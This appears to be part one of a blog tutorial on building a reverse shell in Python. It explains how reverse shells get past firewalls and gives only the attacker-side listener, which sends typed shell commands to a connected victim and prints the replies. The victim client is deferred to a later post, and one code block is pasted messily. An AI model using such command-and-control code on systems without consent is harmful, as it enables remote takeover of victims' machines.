Reverse Shell in Python - Part 1

Today we'll be learning how to make a reverse shell in python.

DISCLAIMER: I DON'T PROMOTE THE USE OF THIS CODE IN A MALICIOUS WAY. HACKING DONE MUST BE DONE LEGALLY WITH CONSENT.

What is a reverse shell?


To gain control over a compromised system, an attacker usually aims to gain interactive shell access for arbitrary command execution. With such access, they can try to elevate their privileges to obtain full control of the operating system. However, most systems are behind firewalls and direct remote shell connections are impossible. One of the methods used to circumvent this limitation is a reverse shell.

In a typical remote shell situation, the client is the attacker and the server is the victim. But accessing the shell in such a way can be blocked through firewalls as mentioned before. Instead, a reverse shell converts the server to the attacker and the client to the victim. 

This works because even though a firewall blocks incoming connections, it doesn't do the same for outgoing ones.

Let's build a reverse shell in python using the socket module.

Code


Let's start by writing the code for the server. The first step is to import the necessary libraries.
The socket library is the main part behind this program. It will allow us to accept the incoming socket connection from the victim's computer. The sys library will help us parse the desired port to bind the socket to.


import socket
import sys

Next, we define the IP and port to bind the socket. The port number is parsed as a command-line argument using sys. Then we create the socket using the "socket.socket" command. We start the server at localhost and the port given. 


bind_ip = "127.0.0.1"
bind_port = int(sys.argv[1])
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print ("Listening on ",bind_ip,":",bind_port)

Then we accept the incoming connection and create a send command function to send commands.

conn,addr = server.accept()
print('Accepted connection from ',addr)
print("Enter the commands below")

send_commands(conn)
conn.close()

The next step is to figure out what commands to send. One example would be to add custom commands to execute a function or we could send the shell commands and run them on the victim's terminal. We'll do the shell commands one now. In a future blog post, I'll try to add custom commands.

First, we add an input function using input(). Then we check if it is equal to q, which stands for quit. If not, we check if the input we've given is greater than 0. If so we send the input by converting it into small pieces of data using the chunks function. It then adds the string "<EOF">, which stands for End of line, so that the client can understand where the function ends. 

After sending this data we wait for the client's message which is going to be the output of the program and receive in small chunks that contain 1024 bytes. The client contains an <EOF> operator so that the server can understand the end of the message. Then we print the message out.

conn,addr = server.accept()
print('Accepted connection from ',addr)
print("Enter the commands below")

send_commands(conn)
conn.close()CHUNK_SIZE = 1024
def send_commands(conn):
    while True:
        cmd = input()
        if(cmd =="q"):
            conn.close()
            server.close()
            sys.exit()
        if(len(cmd) > 0):
            
            for chunk in chunks(cmd, CHUNK_SIZE):
                conn.send(str.encode(chunk))
            conn.send(str.encode("<EOF>"))
            client_response = ""
            d = conn.recv(CHUNK_SIZE)

            while True:
                if "<EOF>" in d.decode("utf-8"):
                    client_response+=d.decode("utf-8")[:-5]
                    break
                client_response+=d.decode("utf-8")
                d = conn.recv(CHUNK_SIZE)
                
            print(client_response, end="")
def chunks(lst, n):
    for i in range(0, len(lst), n):
        yield lst[i:i+n]
Here's the full code:

import socket
import sys
CHUNK_SIZE = 1024

def send_commands(conn):
    while True:
        cmd = input()
        if(cmd =="q"):
            conn.close()
            server.close()
            sys.exit()
        if(len(cmd) > 0):
            
            for chunk in chunks(cmd, CHUNK_SIZE):
                conn.send(str.encode(chunk))
            conn.send(str.encode("<EOF>"))
            client_response = ""
            d = conn.recv(CHUNK_SIZE)

            while True:
                if "<EOF>" in d.decode("utf-8"):
                    client_response+=d.decode("utf-8")[:-5]
                    break
                client_response+=d.decode("utf-8")
                d = conn.recv(CHUNK_SIZE)
                
            print(client_response, end="")
def chunks(lst, n):
    for i in range(0, len(lst), n):
        yield lst[i:i+n]
bind_ip = "127.0.0.1"
bind_port = int(sys.argv[1])
server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((bind_ip,bind_port))
server.listen(5)
print ("Listening on ",bind_ip,":",bind_port)
conn,addr = server.accept()
print('Accepted connection from ',addr)
print("Enter the commands below")

send_commands(conn)
conn.close()
We'll see how to make the client.py in the next post.





Comments

Popular Posts